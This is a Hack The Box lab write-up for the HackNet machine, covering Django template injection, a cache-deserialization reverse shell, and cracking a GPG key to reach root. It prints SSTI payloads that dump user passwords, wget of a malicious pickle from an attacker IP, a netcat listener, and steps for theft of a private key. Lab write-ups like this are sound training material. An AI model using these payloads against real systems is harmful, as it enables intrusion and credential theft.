Mystic

HackNet WriteUp - HackTheBox


HackNet is a Medium-rated Linux machine on Hack The Box focused on Django web application security. Unlike boxes that expose an obvious vulnerability, HackNet rewards careful, systematic work. Subtle features and hidden functionality yield the foothold. In this writeup I document the full engagement — reconnaissance, exploitation of the Django app, lateral movement, and privilege escalation — emphasizing the methodology and commands so you can reproduce the path to both user and root.

Enumeration

NMAP

We start with an nmap scan. A port scan reveals two open ports - 22 and 80.

nmap --min-rate 1000 10.10.11.85 -p-

Now, we perform a default script scan and a service version detection scan on the ports found.

nmap -sVC 10.10.11.85 -p 22,80

Fig 1: Nmap Scan Results

From these scan results, it is evident that the server responds to the virtual host hacknet.htb with the website and not the plain ip address. Let's add it to /etc/hosts for address resolution.

echo "10.10.11.85  hacknet.htb" | sudo tee -a /etc/hosts

Now, let's fire up Burp Suite and start exploring the website.

The Website

Opening http://hacknet.htb/ reveals HackNet - a "Social network for hackers".

Fig 2: HackNet Landing Page

Let's sign up and login!

Fig 3: My Profile

The request and response patterns reveal that this is a django application. We gradually find out that the application is vulnerable to Server Side Template Injection (SSTI).

Finding the vulnerability took a lot of educated guesses and trial and error. You can go on to search for the vulnerabilities in Django and come across a few vulnerabiliies that aren't there on this app (Django anyways is famous for Out-of-the-box security) but, being a seasoned Django developer, I knew that the templates were being rendered by the server. Despite trying SSTI payloads, the results weren't visible straight away. This teaches us to always look in the most unexpected places as well. You can refer to this repo for SSTI payloads.

How SSTI works here?

We can change our username by clicking on the Edit Profile button. Let us try changing our username to {{ 7|add:7 }} and see if username is rendered as 14 somewhere on the site.

We confirm that our username is susceptible to SSTI when we look at the title of our profile picture in the list of users who have liked a post. Fig 4: SSTI Worked!

Now that it works, let's try getting the list of users who have liked the Posts of other people. We can find posts by other people on the explore page.

We change our username to {{ users.values }}. Then let's like packetpirate's post (because he has the maximum likes) and fetch the details of the users.

Our title reveals all the details of the users who have liked this profile. Fig 5: User details through SSTI

We can view all the details in a structured format by copying this list and printing the username, email and password using python.

users = [COPIED_LIST]
for x in users:
    print(x['email'], x['username'], x['password'], sep=' | ')

This gives us:

[email protected] | hexhunter | H3xHunt3r!
[email protected] | rootbreaker | R00tBr3@ker#
[email protected] | zero_day | Zer0D@yH@ck
[email protected] | shadowcaster | Sh@d0wC@st!
[email protected] | blackhat_wolf | Bl@ckW0lfH@ck
[email protected] | bytebandit | Byt3B@nd!t123
[email protected] | glitch | Gl1tchH@ckz
[email protected] | phreaker | Phre@k3rH@ck
[email protected] | codebreaker | C0d3Br3@k!
[email protected] | netninja | N3tN1nj@2024
[email protected] | packetpirate | P@ck3tP!rat3
[email protected] | darkseeker | D@rkSeek3r#
[email protected] | trojanhorse | Tr0j@nH0rse!
[email protected] | exploit_wizard | Expl01tW!zard
[email protected] | whitehat | Wh!t3H@t2024
[email protected] | deepdive | D33pD!v3r
[email protected] | virus_viper | V!rusV!p3r2024
[email protected] | brute_force | BrUt3F0rc3#
[email protected] | shadowwalker | Sh@dowW@lk2024

Foothold

In the user dump above, we see an interesting user - deepdive who is a part of hacknet (determining from his email). Well, we try logging in with SSH as him but it fails. So let's login to his account.

Fig 6: Deepdive's profile

Deepdive has a post liked by backdoor_bandit. We did not get the details of this account earlier. We see that we aren't able to change the username for deepdive. So, let us send a contact request to deepdive from our old account through the search page and accept it from deepdive. Fig 7: Add contact

Now, let's like his post and look for the account details of backdoor_bandit

Fig 8: Backdoor_Bandit's Details

Using the same method as earlier and our python script we get,

[email protected] | backdoor_bandit | mYd4rks1dEisH3re

This time we get the email and password of Mikey, who is also a part of hacknet. Let's try to SSH as Mikey.

sshpass -p 'mYd4rks1dEisH3re' ssh [email protected]

And yes, we get in!

The user flag can be obtained by executing

mikey@hacknet:~$ cat user.txt

Lateral Movement

The command, sudo -l reveals that mikey is not allowed to run any command as sudo.

We check for other users which reveals another user sandy.

mikey@hacknet:~$ ls /home
mikey  sandy

Moreover, on checking the permissions on /var/www/HackNet, we find that it is owned by sandy.

We also find gpg backups in the web directory.

mikey@hacknet:~$ ls -la /var/www/
total 16
drwxr-xr-x  4 root  root  4096 Jun  2  2024 .
drwxr-xr-x 12 root  root  4096 May 31  2024 ..
drwxr-xr-x  7 sandy sandy 4096 Feb 10  2025 HackNet
drwxr-xr-x  2 root  root  4096 May 31  2024 html
mikey@hacknet:~$ ls -la /var/www/HackNet
total 32
drwxr-xr-x 7 sandy sandy    4096 Feb 10  2025 .
drwxr-xr-x 4 root  root     4096 Jun  2  2024 ..
drwxr-xr-x 3 sandy sandy    4096 Sep  8 05:20 HackNet
drwxr-xr-x 6 sandy sandy    4096 Sep  8 05:22 SocialNetwork
drwxr-xr-x 2 sandy sandy    4096 Dec 29  2024 backups
-rw-r--r-- 1 sandy www-data    0 Aug  8  2024 db.sqlite3
-rwxr-xr-x 1 sandy sandy     664 May 31  2024 manage.py
drwxr-xr-x 2 sandy sandy    4096 Aug  8  2024 media
drwxr-xr-x 3 sandy sandy    4096 May 31  2024 static
mikey@hacknet:~$ ls -la /var/www/HackNet/backups
total 56
drwxr-xr-x 2 sandy sandy  4096 Dec 29  2024 .
drwxr-xr-x 7 sandy sandy  4096 Feb 10  2025 ..
-rw-r--r-- 1 sandy sandy 13445 Dec 29  2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29  2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29  2024 backup03.sql.gpg

We move on to gather more information, and find that the /var/tmp/django_cache directory is world writable.

mikey@hacknet:~$ find / -type d -perm -0002 2>/dev/null
/dev/mqueue
/dev/shm
/var/tmp
/var/tmp/django_cache
/tmp
/tmp/.XIM-unix
/tmp/.X11-unix
/tmp/.font-unix
/tmp/.ICE-unix
/run/lock

Exploring further,

mikey@hacknet:/var/www/HackNet$ find ./ -type f -exec grep '/var/tmp/django_cache' {} \;
grep: ./HackNet/__pycache__/settings.cpython-311.pyc: binary file matches
        'LOCATION': '/var/tmp/django_cache',
mikey@hacknet:/var/www/HackNet/SocialNetwork$ find ./views.py -type f -exec grep -i 'cache' {} \;
from django.views.decorators.cache import cache_page
@cache_page(60)

And indeed, the explore page is cached.

Fig 9: Cached /explore page

On searching for "Django cache attacks" we come across Django cache deserialization attack. The exploit for obtaining a rev shell can be found here.

We first create an evil pickle file using the above exploit (make sure to replace placeholder with your IP Address) and place it in the /var/tmp/django_cache directory. For this, we host an http server on our attack machine where evil.pickle is and download it on the target machine.

python3 -m http.server
mikey@hacknet:/var/tmp/django_cache$ wget http://10.10.16.2:8000/evil.pickle

The exploit works through deserialization when we hit http://hacknet.htb/explore. So, let's hit it and make sure there are the cached files in the directory that are used by django.

mikey@hacknet:/var/tmp/django_cache$ ls
1f0acfe7480a469402f1852f8313db86.djcache  90dbab8f3b1e54369abdeb4ba1efc106.djcache  evil.pickle

Since these cache files are owned by sandy, we can not replace them, instead, we soft link our evil.pickle to one of them.

ln -sf $(pwd)/evil.pickle $(pwd)/90dbab8f3b1e54369abdeb4ba1efc106.djcache && curl http://hacknet.htb/explore

We set up a netcat listener on our host machine just before executing the above command.

nc -lvnp 4444

The above commands should be executed within 60s of hitting http://hacknet.htb/explore.

And get a reverse shell as Sandy!

Privilege Escalation

Now let's decrypt those backup files we found in /var/www/HackNet/backups. The files canot be decrypted straight away.

We first look for the key which is located at /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc. We make a new directory, move it into it and set permissions so that everyone can access it.

mkdir /tmp/gnupg
cp /home/sandy/.gnupg/private-keys-v1.d/armored_key.asc /tmp/gnupg
chmod 777 -R /tmp/gnupg

We download the key using the same way we downloaded evil.pickle to the target machine but, this time from the target to attacker machine.

On our host/attacker machine we try to crack the passphrase for this key using gpg2john.

gpg2john armored_key.asc > hash.txt
john hash.txt -wordlist=/usr/share/seclists/rockyou.txt

This gives us the password sweetheart.

Now, back to our SSH session as Mikey, we import the key.

mikey@hacknet:/var/www/HackNet/backups$ gpg --import /tmp/gnupg/armored_key.asc

We decrypt those backup files.

mikey@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup02.sql.gpg > ~/backup02

Let's see if it contains a password.

mikey@hacknet:/var/www/HackNet/backups$ cd ~
mikey@hacknet:~$ grep -i 'password' backup02

Fig 10: Root Password

Finally, switch to root and get the flag!

mikey@hacknet:~$ su root
Password: 
root@hacknet:/home/mikey# cat /root/root.txt
<FLAG>

We get the root flag and this machine is pwned!